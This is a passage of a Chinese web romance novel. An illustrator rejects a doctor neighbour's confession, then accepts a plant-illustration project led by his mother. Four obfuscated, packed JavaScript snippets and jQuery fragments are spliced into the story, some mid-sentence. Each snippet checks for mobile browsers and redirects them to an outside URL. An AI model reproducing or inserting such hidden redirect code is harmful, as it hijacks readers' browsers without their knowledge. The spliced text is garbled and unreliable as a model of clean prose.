低头一看,红油汤底,上面还堆着辣椒段和花椒粒。
周桨鸣灌了口水,带着点鼻音问:“你不是厦门人吗?怎么这么能吃辣?”
黄转青眼神里带着同样的疑惑:“你怎么知道我是厦门人?”
“我妈说的。”
……
黄转青问完脑子就转过来了。
这问题问得有点傻,还能是谁说的?
答案呼之欲出。
一股迟来的一个多两个月的尴尬,淹没了黄转青。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190020|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>周桨鸣饶有兴致地欣赏着她脸上的精彩,刚刚被辣出来的狼狈都淡了。
他带着点不怀好意的提醒:“我妈还说你不认识我,只认识小叮当。”
黄转青被他这记补刀捅得耳朵都红了,只能硬着头皮解释:“我当时是怕阿姨误会。”
“误会?”周桨鸣抓住了关键词,紧追不舍,“误会什么?”
不知道在紧追不舍些什么,好像隔着点东西,现在即将要揭开。
黄转青被他看得有点紧张,只觉得餐厅挺抠的,空调开得温度不够低,她觉得有点热。
垂下眼盯着碗里的豆芽,用筷子戳着,半天不吭声。
“误会咱俩有点什么蹊跷。”
周桨鸣看着她那副鸵鸟样,心里那点恶趣味得到了满足。
“算不得误会吧?咱俩确实有蹊跷。”
“没蹊跷,你吃我妈做的饭?”
“没蹊跷,咱在能一起看话剧?”
“饭是你塞给我的。”
“看话剧也可以是朋友出来一起看。”
“是吗?”周桨鸣身体往后一靠,“你还挺开放的嘛,我不行,我是一个很传统的人。我只跟有蹊跷的人出来看话剧。”
黄转青被他这自说自话的逻辑搞得火大:“你能不能好好说话?”
周桨鸣耸耸肩,见好就收:“行行行,吃饭。”
下午两点半。
属于一百年前、中国初代女子篮球队的世界在灯光和音效中展开。将观众带回那个观念陈旧的年代。
黄转青是沿海城市长大。所在地区也观念陈旧。
那些剧中人经历的。
“女子无才便是德”、“抛头露面不成体统”、“打球能有什么出息”的明枪暗箭。
那些看似轻飘飘却重如千钧的闲言碎语。
那些因性别而被天然剥夺的机会和空间。
黄转青似乎都很熟悉。
海风里裹挟的潮湿,似乎也带着压抑。
剧中的很多台词,都剖开她记忆里带着隐痛的部分。
舞台上那些她也参与绘制了的漫画部分,此刻与演员们的血肉融为一体,活了过来。
在黄转青第一次抬手抹眼泪时,周桨鸣递过来纸巾,黄转青没有看他,只是接过纸巾按在湿润的眼角。
一张,又一张。
周桨鸣的动作很轻,没有多余的话语,甚至没有转头看她一眼。
沉默而恰到好处的体贴,是一道无声的堤坝,在她情绪翻涌的洪流旁,提供一方安稳。
终场的灯光亮起,昂扬的主题歌响彻剧场,黄转青泪流满面。
掌声雷动,久久不息。黄转青看到小雅也穿着运动服,拄着拐,和其他演员一起站在台上。
真好。黄转青心里默念。
她们在台上,她在幕后画下她们,她们在戏里演绎着过去,而她们所有人都会一起走向未来。
散场的人潮涌出剧场,阳光依旧明媚,却带着点落幕后的恍惚。
“去对面便利店买瓶水?”周桨鸣的声音带来真实。
“好。”黄转青点点头。
买完水,两人站在便利店门口树荫下。
黄转青看着马路上川流不息的车流。
“一想到明天还能再看一遍,我觉得好幸福啊!”
周桨鸣拧开自己的水,点了点头。
“难怪找你画海报。你跟她们都是一种人。”
这个“她们”想必不只是说导演和演员们。
黄转青转过头看他,有些不解:“什么人?”
她以为他会说有梦想、能吃苦、坚韧不拔之类的词。
周桨鸣的目光很平静,看着她的眼睛,清晰吐出两个字:“女人。”
不是那些宏大的赞美,不是那些具体的品质,而是如此本质的两个字——女人。
无论身处哪个时代,无论面对何种困境,那些被压抑的想法,那些被忽视的付出,那些被轻视的勇气,那些被曲解的泪水与汗水。
在“女人”面前,都能找到归属。
黄转青将冰凉的瓶身贴在脸颊上。
20. 因为我一样珍视你的梦想
引擎熄火,周遭的安静此刻显得有些刺挠。
车厢里不复刚才剧场里的热血。
第二场话剧看完后,周桨鸣熟练地带黄转青去官方SD那儿排队,此刻黄转青的大腿上还放着演员们的签名。
黄转青低头拿上这些,和周桨鸣道别后先下了车。
周桨鸣晚上还得去医院,不跟她一块儿回家。
黄转青坐电梯上楼,刚才周桨鸣的话还在她心上。
第二场话剧落幕后,周桨鸣没等黄转青在散场的人群中乱转分辨方向,胳膊肘碰了她一下,头朝另一个通道扬了扬:“这边。”
已经有很多人在这里有序排队,脸上带着和黄转青如出一辙的兴奋,都在等待主演签名。
“你怎么这么熟?”黄转青眼睛亮晶晶地看着周桨鸣,“跟别人来过啊?”
话一出口,纯粹是好奇,没带半点试探。
周桨鸣侧过脸睨了她一眼:“探我话呢?”他声音不高,刚好够她听见,“没来过。我说过,我不跟没有蹊跷的人出来看话剧。”
黄转青又被这蹊跷二字给砸了一下,撇了撇嘴:“谁探你话。我随口一问。”
拿到了主演的签名和两张限定贴纸,邢频一眼看到这俩人一起来看话剧,眼神里全是八卦。
但也知道现在这个场合不便八卦,只跟周围同事介绍了下,主要是介绍黄转青,说这是画师。
这直接导致黄转青心满意足得了张合照。像揣着宝贝似的坐进周桨鸣的车里。
北京的夜,灯火在车窗外像是另一个世界,耀眼又与个人无关。
周桨鸣握着方向盘目视前方,没怎么说话。
黄转青连上了自己的蓝牙。
她刚搜到了这场话剧的主题曲,此刻正在车里播放。
过了几个红绿灯,周桨鸣像是酝酿了很久,但装得很随意地开口:“问你个事儿。”
“嗯?”黄转青转头看他。
“植物园那边在筹备一个项目。是关于国内濒危植物的科普插画,挺大的一个系列。除了要求写实精准的植物图谱,有几个自媒体宣传需求大的省份,还需要配套的植物拟人插画,这一点上需要有网感,最好还能有点游戏色彩,能引起大众关注。”周桨鸣侧头飞快地瞥了黄转青一眼,“我觉得你挺合适的。你有兴趣吗?”
黄转青愣了一下:“你说那个啊!是你妈妈的项目吧,昨天汪蓝也推给我公众号的征集消息。我还在看细则呢,有点犹豫……”
她实话实说,面对这种专业性强又规模大的项目,她还是有点发怵。
“先往前冲,别左顾右盼。”周桨鸣打断她,“细则都是死的,画才是活的。看多了容易把自己吓住。”
黄转青被他这突如其来的冲锋号子逗乐:“你怎么比我还着急啊?”
“这不是你的梦想吗?”他问。
黄转青还在笑,不过没有发出声音。
她看着窗外,到西单了,景象一下子变得很热闹。
热闹很好,安静也很好,两者她都能笑出来。
周桨鸣话语里的认真让她感动。
她回答,声音轻了些,“对啊,这是我的梦想。你这么着急干什么?”
这个问题和下午那个不同,确实是带着探究。
黄转青还是点开了那个项目准备再细看一遍,晚上回去后就开始准备,不浪费时间。
车厢里早就放完了那首主题曲,在列表播放其他歌曲。
此时播放到了林忆莲的《词不达意》,这是黄转青的歌单,所以她自然知道下一首是什么,是《再见悲哀》
周桨鸣的声音在间奏中一样清晰:“因为我一样珍视你的梦想。”
黄转青这下不笑了,原先的笑容僵在脸上。
心脏漏跳了一拍,紧接着不受控制地加速跳动,撞击着胸腔,这感觉很熟悉,几个月前她也被这样撞击过。
她知道那会儿是因为“梦想”,她也确定这会儿并不是因为梦想。
黄转青捏着手机的手指收紧,不小心按住了音量键,音量被调到最低,蓝牙也跟着无声。
车里一时安静如谜。
周桨鸣没有看她,却能清晰感觉到旁边的变化。
他平稳地将车驶过一个大路口,才缓缓靠向路边,在一个允许临时停靠的位置停下。
引擎没熄火,车灯照亮前方一小片路面。
他转过头看向黄转青。眼神很平静。
没有咄咄逼人,仔细看还有点脆弱。
“黄转青,”他叫她的名字,“我喜欢你。”
黄转青的心脏被攥住又猛地松开,血液像战士一样冲上来。
她想避开他的视线,身体却动弹不得。
周桨鸣看着她的状态,看起来像是需要一个医生来救救她。
周桨鸣是医生,但是没有救她。
他的声音再次响起,比刚才更加直接。
他不喜欢不清不楚,他想剖开所有暧昧不明的伪装。
“我喜欢你。你这么敏锐,我相信你是感受的出来的,是不是?你不要骗人。”
感受出来了吗?
是的。
楼梯间的陪伴,医院的别扭关心,植物园里、火锅店里、剧场里、家楼下……点点滴滴,早已在她心底织成了一张网。
她只是不敢去触碰,不敢去确认。
黄转青用尽了全身力气,终于慢慢转回头。
她没有看周桨鸣的眼睛,视线落在他握着方向盘的手上。
几秒钟后,她点了点头。
虽然点着头,但黄转青的心提到了嗓子眼,因为预感到他接下来要说什么。
她的点头,让周桨鸣如释重负。
他乘胜追击:“我也能感觉出来,你对我有好感。所以,咱俩能不能谈恋爱?”
黄转青抬起头,这一次她的目光直直撞进周桨鸣带着期待和紧张的眼睛里。
那里面映着她自己慌乱的脸。
没有任何犹豫,她斩钉截铁:“不能。”
周桨鸣脸上的期待瞬间变为错愕,他像是没听清又像是无法理解:“啊?为什么?”
为什么?
黄转青看着他的眼睛,里面有清晰的难以置信。
她有点难过,但没有移开目光。
她是一株野草,虽然瑟缩,却倔强地挺立。
她习惯了独自生长,习惯了在贫瘠的土壤里汲取微薄的养分。
她渴望阳光雨露,渴望靠近的温暖,但也恐惧温暖的抽离。且温暖必将抽离。
她好不容易才在这个陌生的城市,在这个只属于自己的壳里,找到了一点平衡。她不需要情感模式的改变,也不想为一个人而或悲或喜。
她现在最需要的就是平静。
想完这一切,黄转青已经完全冷静下来,心跳也恢复正常,脸上也褪去红晕,声音也变得平静。
“我承认喜欢你。但喜欢对于我而言没那么重要。喜欢——”
这个词在她唇齿间缠绵,显得轻佻也不对,沉重也不是,最后只能含糊丢出来。
“喜欢最后都会变成忍耐。被不断消耗,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190021|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直到最后只剩下习惯,或者相看两厌。”
“我不需要这样的亲密关系。我觉得喜欢很不靠谱。它不重要。”
黄转青像是在说服他,也像是在说服自己心底那个蠢蠢欲动的东西。
“谁也无法保证一段关系能够始终如一,能够永远保持最初的样子。周桨鸣,你也无法保证,对吗?”
她的目光锐利起来,近乎残酷:“你也不要骗人。”
周桨鸣想反驳,想告诉她不是这样的,想说他可以努力。
可是,当他对上黄转青那双眼睛时,所有冲到嘴边的话都哽在了喉咙里。
你也不要骗人。
她说的是事实。
谁能保证?
谁能保证激情永不褪色?
谁能保证在生活的琐碎、职业的压力、时间的消磨下,爱情不会变成负担?
谁能保证不会在某一天,看着曾经深爱的人,心里只剩下疲惫和凑合过吧的无奈?
他不能。
任何信誓旦旦的保证,在此刻都显得幼稚,甚至虚伪。
周桨鸣,一个医生,比任何人都清楚承诺的脆弱和时间的残酷。
他拿什么保证?
他无法保证。
他甚至找不到任何有力的语言来辩驳。
空调的冷风呼呼地吹着,车窗外,城市流光溢彩。
周桨鸣最终什么也没说。
他颓然地转回头,重新开车。
黄转青也不再说话。
“到了。”周桨鸣先打破沉默。
黄转青像被惊醒,抬头应了一声,伸手去解安全带。她拿起自己的包和签名本,低声说了句:“谢谢你送我回来。”
“嗯。”周桨鸣应了一声,又接着说,“但是那个濒危植物项目,你一定要往前冲一把。”
不在一起也没关系,但我还是希望你能实现自己的梦想。
我说我珍视你的梦想,那是真心话,不是说来哄骗你的。
“好。”黄转青声音有些发闷。
她关上车门,没有立刻离开,而是隔着车窗,看了一眼驾驶座上的周桨鸣。
周桨鸣也隔着车窗玻璃看向她。
两人视线隔着车窗交汇。
“我走了。”黄转青最终转身走向单元门。
此刻黄转青坐在沙发上,仰起头,闭上眼睛。
刚才在车里强装的平静瓦解,她心脏的位置有点不舒服。
她知道自己推开的是什么,也知道自己选择了什么。
那条通往荆棘花园的路,她没有勇气迈进去。
回家的电梯上,黄转青像被鬼上身一样摁了个17楼,电梯门打开时她没有出去。这只是一个偶尔会遇到的坐标。
只是这一次,坐标带着温度闯了进来,又被她自己亲手推回了安全的距离之外,正如她并没有走出去。
有新消息,她拿出来看,是邢频发来的。
“青青!话剧怎么样?你给一点反馈呀,导演也很重视你的感受呢。还有还有,你跟周医生是进展到哪一步了?快从实招来!”
黄转青犹豫了半晌,最终只回前面一个问题:“剧很棒,我特别喜欢,还要去刷你们的其她剧……”
她的反馈真诚。但关于周桨鸣,一个字也没提。
她闭上眼,周桨鸣那双带着不解和受伤的眼睛,仿佛就在黑暗中凝视着她。
跳转到音乐播放器,停在了《词不达意》
你看,终究没能《再见悲哀》
黄转青慢慢把脸埋进膝盖里。
21. 你甘心吗?
半个月的光阴很快,黄转青的世界被压缩在工位上的数位板前、家里书桌上的画纸里。
总之是感觉自己快和椅子长在了一起。
那张卷柏看似枯萎实则蕴藏生机的形态,越来越清晰,最终定格。
枯槁里藏力,死寂中有生。
它活了。黄转青也觉得自己活过来了——这段日子累到每天起床都想吐,嘴里还总有脱落的一片片口腔黏膜。
这是她的心血,也是她朝梦想砸出的一块敲门砖。
黄转青点开国家植物园科普插画大赛的提交页面,将作品上传。
尘埃落定。
心咚咚跳着,有期待,还有释然。
她的目光从门口那儿扫过,保温桶早被拿回去,二人的联结只剩一点点快要看不见的印子。
几天后的一个下午,黄转青正构思新的草稿,来了个陌生的好友申请。
说陌生其实也并不陌生,这个头像早在几个月前,黄转青就因好奇搜索时已见过。
“黄转青老师?”
“还是小黄同学吧。你好!我是陈毓。”
“你的作品我们看到了。《转青》名字取得好,画得更好。评审组那边反馈很热烈,不容易。所以我通过后台信息来加你好友。”
黄转青心跳如擂鼓。
敲敲打打,删删改改,最终也只憋出一句:“谢谢您这么夸我,我还有很多要学呢!”
“不用过度谦虚,”陈毓干脆,“好就是好。对植物生命的理解和表达,正是我们项目需要的。”
陈毓话锋一转,要开始切入正题。
“国家植物园在筹备濒危植物科普计划,除了要求精准的植物图谱,几个重点省份的明星物种,还需要配套的植物拟人插画。这部分要求很高,需要艺术性、网感,还得能引发大众共鸣。”
“我觉得你非常合适。有兴趣加入吗?”
这个比赛本就是几个项目的预热和人才选拔。
机会就这样递到了面前。是她梦寐以求。
紧随其后的顾虑,也悄然缠绕而上。
小鹿的名字跟周桨鸣无关,顾虑的名字倒是明明白白。
黄转青不由得因此而对周桨鸣产生了些许敌意。
她已经决绝推开他。
现在,却要和他的母亲紧密合作。
光是想象未来可能出现的微妙氛围,就让她犹豫。
那句“非常荣幸,我会认真考虑……”打了又删。
正巧,想到谁谁就来。
手机顶端,周桨鸣的消息跳出。
“项目邀请收到了?”
他怎么知道?是陈毓告诉他的?还是他一直在关注?
犹豫了几秒,才回了一个字:“对。”
周桨鸣的信息秒回,若文字有情绪,那么此刻他的文字就带着刻意剥离个人情绪的客观。
势要驱散黄转青的犹豫,割除她的多思。
敏感是创作者的天赋。
周桨鸣希望她将这天赋用在创作中,而不要浪费于他的身上。
那既不会是他想看到的,也不会是黄转青的本心。
“不要顾虑其他。”
“这是很好的机会,属于你。”
“是你的梦想,那就别放过。”
不是别错过,而是别放过。
别错过,是要抓住机会,珍惜事物。是害怕你失去。
而别放过,是不要放手,要追究,甚至利用。是希望你榨取。
黄转青,不要放过你的所求。
不安慰,不拉扯,不提及那晚的任何。
切中她最大的顾虑,用直接的方式划清界限——工作是工作。
黄转青仿佛又看到了那晚车里,他说“我同样珍视你的梦想”时,那双沉静的眼睛。
即使被她推开,他依然用自己的方式选择他认可的价值。
这是尊重。
黄转青忽略心头情绪,切回与陈毓的对话框,删掉所有犹豫的言辞。
“感谢您的信任和邀请!能参与这个项目是我的荣幸。我非常愿意加入,期待我们的合作。”
她大学时候爱看无限流小说,里面有一个又一个副本。
此刻她感觉自己推开了下一个副本的门,这是因为她成功离开了上一个副本。
先逃离自己一开始积重难返的家乡语境,因为那个语境与她的一切劳劳绑定。
用语言、用亲密,构筑成一个独立的世界。
跳出那个语境之后,黄转青才能成为一个旁观者。
夕阳的余晖将高楼染成温暖的橘色,北京进入秋天。窗外有精彩的晚霞。
黄转青父母家有龛。
小学时,某次和母亲一起拜拜,母亲突然开口:“今天的晚霞很好看。”
小小的她连忙抬头,可夕阳不等她,已然离开。小小的她惘然。又去看龛,忍不住心想:“你是不是把我的晚霞偷走了,为什么我没有看到?”
此刻,黄转青看着窗外,心声道:这是我的晚霞。
这边的门推开一条缝,那边的窗也适时透进了光。
孟知春来联系黄转青,是直接打的电话。
“黄老师,方便说话吗?”孟知春的声音透过听筒传来,有些失真,显得更笃定。
“话剧的第二轮反响超出预期,观众反馈里,视觉部分的认可度很高,你的作品功不可没。”
黄转青被肯定鼓舞:“谢谢您!是剧本和表演的基底打得好,让我视觉化的配合也能更出彩。”
“配合得精准向来是被忽视掉的能力,”孟知春进入主题,“十月底我计划启动新剧《回声》,风格会更实验性,视觉上需要兼具冲击力和深层次隐喻,我第一时间想到了你。但需要你尽早介入概念设计。”
黄转青的心雀跃。这是她重要的创作阵地。
然而现实的砝码立刻加上——还有个重量级植物项目呢。
“我刚接了国家植物园牵头的濒危植物科普插画项目,体量很大,恐怕《回声》这边,我的排期会非常紧张,前期介入的时间会严重不足,怕耽误您整体进度。”
她坦承困难,不想辜负这份信任。
电话那头沉默了几秒,并非不悦,像在思考权衡。
再开口时,孟知春的声音依旧沉稳,却带着赞许和决断:“国家植物园的项目?这是好事,也是你一直想深耕的方向吧?我记得你提过你的热情。”
“是的,孟导。所以……”
“所以这个项目优先级更高,”孟知春接过话头,不容置疑,“《回声》的前期剧本打磨和概念碰撞本身就需要时间,我们可以根据你的时间弹性调整。但你的核心发展机会,尤其是指向明确梦想的,必须抓住,不能分心。”
孟知春停顿了一下,问了一个关键:“你现在那份全职工作,还在做?”
“是的。”黄转青应道,预感到了孟导的思路。
“建议你考虑结束它。”孟知春带着领导者的务实,“我不是在替你决定,是分析现状。你的时间精力是核心资源。那份工作,除了维持基本收入,只会持续消耗你的创作热情和专注力。”
“现在你有植物园这个重量级项目,加上我们剧团持续的工作,收入是足以支撑过渡的。如果你需要更稳定的保障,”她提出一个方案,“我们可以签订一份更长期的框架协议,这样你能腾出更多有效时间。时间,对创作者而言,是无可替代的资本。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190022|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
黄转青能感受到孟知春的真诚和支持,但这种支持让她感到了压力,让她本能退缩。
她一退缩,就会主动去分心。
此刻她分心舔着口腔黏膜。
“孟导,我真的特别感激您为我考虑这么多,但是这样的特殊安排,我觉得或许应该留给更迫切需要机会的人、更可怜的人?我现在还能应付。”
孟知春没有反驳,过了一会儿后再开口:
“青青,机会的分配,从来不是基于谁更可怜。机会,只属于能抓住它,并且内心有不甘心做驱动的人。不甘心才华被琐碎消磨,不甘心梦想停留在想的阶段,不甘心无法到达自己本可以触及的高度。”
孟知春抛出关键一问:
“你甘心吗?”
机会本质也是价值交换而非慈善施舍。
世界不会因为一个人可怜就自动奉上机遇。
机会是流向那些能证明自己值得、有能力承接它、并能为创造机会的人或系统带来价值的地方。
它是无声的竞标,筹码是能力、行动力和不灭的野心。
孟知春问的是“你甘心吗?”,但显然不只是问甘心,是追问“你愿意为不甘心支付代价吗?”。
真正的战场不在外部机会分配,而在你是否愿意亲手拆掉自己的安全屋。
这是投名状,宣告你要求入场券。
为此,愿意付出与之相配的努力,以及代价。
“不甘心。我非常不甘心。”
电话那头传来孟知春的轻叹:“这就对了。签约的具体形式,等你忙完植物园项目前期,我们再详谈。但那份分散你核心精力的工作,”她再次强调,“认真考虑结束它。专注,是抵达目标的唯一路径。”
又交代了几句项目节点,通话结束。
黄转青靠在椅背上,心脏是敲响的战鼓。
战鼓还未完全平息,黄转青又被疑惑缠上。
已经连着两周,每天早上醒来,嘴里都有一片片口腔黏膜。
倒是完全不影响生活,就是总感觉怪怪的。
她本身就好奇心重,不然也不会对着椅子上的蓝色标签推理半天。
所以掉落的口腔黏膜,是她这几天床单下的豌豆,鞋子里的沙。
到底会是为什么。
换了牙膏?吃了上火的东西?还是身体出了什么小毛病?
她查了手机,答案五花八门,反而更糊涂。
尴尬被好奇心压倒。
她点开微信,斟酌措辞:“周医生,我想请教个问题。最近几天早上醒来,嘴里总有脱落的口腔黏膜,你知道可能是什么原因吗?”
发出去,又想起周桨鸣那个性格,加了一句:“纯粹好奇,不是看病哈。”
大概在忙吧,回自己消息现在回得这么慢。
黄转青讪讪放下手机,继续画图。
过了半个小时,周桨鸣的回复像问诊:“最近换牙膏了?”
“你怎么知道?是换了。”
这次回复很快:“应该是牙膏里的月桂醇硫酸酯钠过敏。你换回原来的牌子观察两天。”
“原来是这样!”
黄转青恍然大悟,困扰几天的谜团解开,心情大好,回了个小小的笑脸。
晚上点了外卖,半小时后门铃响起。
开门去,除了外卖还有一盒新牙膏,就搁在外卖的袋子上。
不是她买的。
是一个她没见过的品牌。
盒子上还贴着一张便签纸,上面写着:试试这款。
没有署名。
但她认得这字。是周桨鸣的。
她能想象他写下这行字时的表情,大概和他说“别放过”时一样。
22. 是很像你,并不是很想你
同一片夜空下,同一栋楼里。
十九楼在拆着外卖,黄转青对着牙膏心绪难平。
十七楼,周桨鸣家里菜香氤氲。
陈毓盘腿坐在客厅地毯上,笔记本电脑在她腿上。
电脑屏幕上是各类植物名录和项目预算表格。
“华夏绿脉”项目千头万绪,她正为一个濒危蕨类保护区的宣传绞尽脑汁。
这艘刚启航的巨轮,正被无数琐碎的缆绳拉扯。
窗台上,小叮当蜷成一个大球,在灯火背景里假寐。
门开了,陈毓头也没抬,扬声:“回来了?剩菜都在桌上,你自己热热。”
“嗯。”周桨鸣应了声,换了鞋,却径直走向卫生间。
片刻后出来,手里拿着个长条形的东西。
“妈,我出去一下,几分钟就回。”他一边说着,一边走向门口。
“哦好。”陈毓随口应,视线还是没没离开屏幕。
她向来如此,对已成年的孩子就不大过问,只要他不作奸犯科,爱去哪去哪。
何况她现在脑子里全是项目和预算。
手指在触摸板上滑动,又看到了黄转青的名字。
陈毓实在是觉得这名字耳熟。
停下动作,靠在沙发边沿,揉了揉眉心。
厦门烈日骄阳,洒落胜金。
陈毓穿着轻薄的衬衫散热。没太休息好,她揉了揉自己的眉心。
厦门植物园,正在一场关于植物的小型交流活动。
为了调动本地青少年的参与热情,配套举办了一个初高中生的植物写生比赛。
场面不算大,但孩子们都很认真。陈毓正巧最近两个月在厦门植物园办公,就作为特邀评委,正在作品间缓缓踱步。
然后,脚步停在了一幅画前。
画的是几株生长在潮湿岩壁上的某种蕨类。
其实颜色说不上多么动人,甚至构图显得有些局促。
但落笔很精准,比例几乎是一比一还原,正因此才显得局促。
妙的是不光画了蕨,还带上几笔会在这种蕨类上停留的昆虫。这是生态。
吸引陈毓的,是精确的观察,是这个小女孩笔触间的表达——画画也是需要有表达的。
她画出了生态,还有生命力。
陈毓记得自己当时驻足良久,看着这个安静的女孩,穿着校服,头发扎着,眼神清澈。
问名字,对方声音细细的,很温柔:“我叫黄转青。”
黄转青。
枯黄褪去,转复青绿。
这个名字,和那幅画,在她心里留下了印象。
后来评奖,这幅作品果不其然拿了高中组一等奖。
活动结束回京,她还兴致勃勃地跟儿子分享过见闻,大概说的是“厦门发现个好苗子,名字也特别”。
此刻,记忆溯游而上,游回了脑海里。
陈毓靠在沙发背上,因感慨而笑。
真是奇妙的缘分。
当年厦门植物园里那个安静作画的少女,兜兜转转,还在坚持画画,描绘的对象也从岩生蕨类变成了卷柏。
隔了山隔了水,隔了这么多年。
最终,来到了她的项目面前。
缘分的齿轮,在不知不觉中,已经转动了这么久。
缘分的齿轮在转,家里门锁的齿轮也在转。
钥匙转动门锁,周桨鸣又回来了。
“这么快?”陈毓随口问,重点在于下一句,“刚想起来个事儿,你猜猜。”
周桨鸣换了鞋,走到饮水机旁倒了杯水:“什么事?”
“小黄,黄转青。”陈毓简直是发现命运伏笔般的惊奇,“我刚才想起来,为什么觉得她名字这么耳熟了!好多年前……七八年前吧?我在厦门植物园搞活动见过她。那会儿她还是个高中生,参加写生比赛,画得特别好。我当时觉得她名字取得好,回来还跟你念叨过。”
陈毓笑着摇摇头:“你说这缘分,是不是有点意思?当年厦门一面之缘的小姑娘,隔了这么多年,竟然又……”
“嗯,有意思。”周桨鸣的附和却不小心打断了陈毓的话。
周桨鸣端着水杯,站在饮水机旁。
客厅主灯的光源在他身后,将他的身影拉长投在地板上,他整张脸都隐在阴影里。
他心里想的是:有个鬼的意思。
他是那个卡在齿轮缝隙里的人。
陈女士显然没接收到儿子的内心翻涌。
她不依不饶,还找到了当初跟黄转青她们那几个获奖者的合照。
举着手机,开始展示!
几步走到餐厅与客厅的交界处,把屏幕怼到周桨鸣面前。
照片里,黄转青穿着校服,陈毓穿着蓝色的轻薄衬衫,搂着她。
照片外,周桨鸣看着陈女士现在身上就穿着的那件蓝色衬衫。
周桨鸣看着照片,心绪难平。
不便多说,只好先避开陈毓,端着剩饭走去了客厅。
此刻换他在明。
陈毓在餐厅的阴影中,对着客厅遥遥开口:“小黄那边确认了加入项目。怎么样,我效率挺高吧?”
周桨鸣在明亮中看过来,看向陈女士,笑得真心:“挺好的。恭喜你,得偿所愿。”
恭喜你,陈毓女士,你慧眼识珠,为项目找到了最合适的人。
也恭喜你,黄转青,离梦想近了一步,你是最棒的。
几天前,陈毓去到周桨鸣的医院。
二人让到走廊外面说话。
周桨鸣是医生,看起来像精神被抽干。
陈毓是病人,看起来生机勃勃。
“小黄参加了植物园的比赛你知道吗?画得真好啊。搞植物科普这么多年,我见过太多画植物的。有些人画得精致漂亮,但不爱这条路;有些人有热情,但功底不够。像小黄这样的太少太少了。”
陈毓说完,看着儿子怎么没什么表情,有点来气,觉得他根本不理解自己在说什么!
“项目那边,我真的很想她能加入。如果她对植物没这份心,这份才华用在别处发光发热,我也就只能祝福了。可她偏偏是真心喜欢,又有这个能力,我见不得这样的人错过属于她的舞台。”
陈毓带有很少流露的求助意味,看向周桨鸣:“你跟她不是熟吗?还住楼上楼下。要不你帮我劝劝她?我怕万一。我可不能接受万一。”
周桨鸣简直都要苦笑……
他劝她?
他要是开口劝,恐怕以她那斩钉截铁的逻辑,会立刻认定他动机不纯,带着藕断丝连的企图。
别说加入项目,大概连楼上楼下邻居的点头之交都做不成。
她会像受惊的含羞草,瞬间闭合叶片,退回到她认为安全的距离之外。
他几乎能想象出她的眼神。
那天晚上之后,黄转青连楼梯都不爬了。
多荒唐。躲他跟躲瘟神一样。
周桨鸣想到这就来气。
但是——这个转折在他心里重落而下,把他从头砸到底。
但是。
但是,陈毓说得对。
黄转青的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190023|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才华,她对植物的那份赤诚,不该被埋没。
“华夏绿脉”项目,或许真的是她梦想起飞的跑道。
“项目邀请,你直接发给她。专业的事情,专业沟通。我的身份不合适劝。”
陈毓看着周桨鸣,一句“为什么”在口腔里转来转去转不明白,最后硬是被自己吞下去。晚饭真是不用吃了。
儿子的态度已经说明了很多问题。陈毓叹了口气,点点头:“行,我知道了。我直接联系她。”
周桨鸣没再说什么。
说着不适合劝,但周桨鸣有自己的办法。
这就是他发给黄转青的消息那么及时的原因。
你要去做你想做的事,成为你想成为的人,追你的梦。那很好,我为你高兴。
如果你追梦道路上必须要推开我,那我也接受。
喜欢你,所以希望你成为你自己想成为的人。
有一句很文艺的话,叫做“对的人会自己站在你的未来里。”
周桨鸣听不懂这种文艺。
但如果黄转青走向未来的路上,自己成为阻碍横亘其中,那周桨鸣会解决掉自己。
他绝不会使自己成为黄转青的阻碍。
走廊那头传来拐杖敲击地面声。
两人望去。
那位工地摔伤,被周桨鸣主刀做过复杂骨折手术的病人姑父,正拄着拐,艰难地朝这边走来。
脸色憔悴,正要去探望病房里的侄子。
周桨鸣想朝他点头示意。然而那位姑父的目光完全没看走廊外的这两位。
加快拄拐的速度,从二人面前经过,走向病房区。
陈毓调侃自己儿子:“周医生,你这人缘怎么回事?看着你跟看见催债的似的?你是不是平时查房太爱跟病人聊天了?人家看着你就着急上火?瞧把人家急得,石膏腿都恨不得飞起来。”
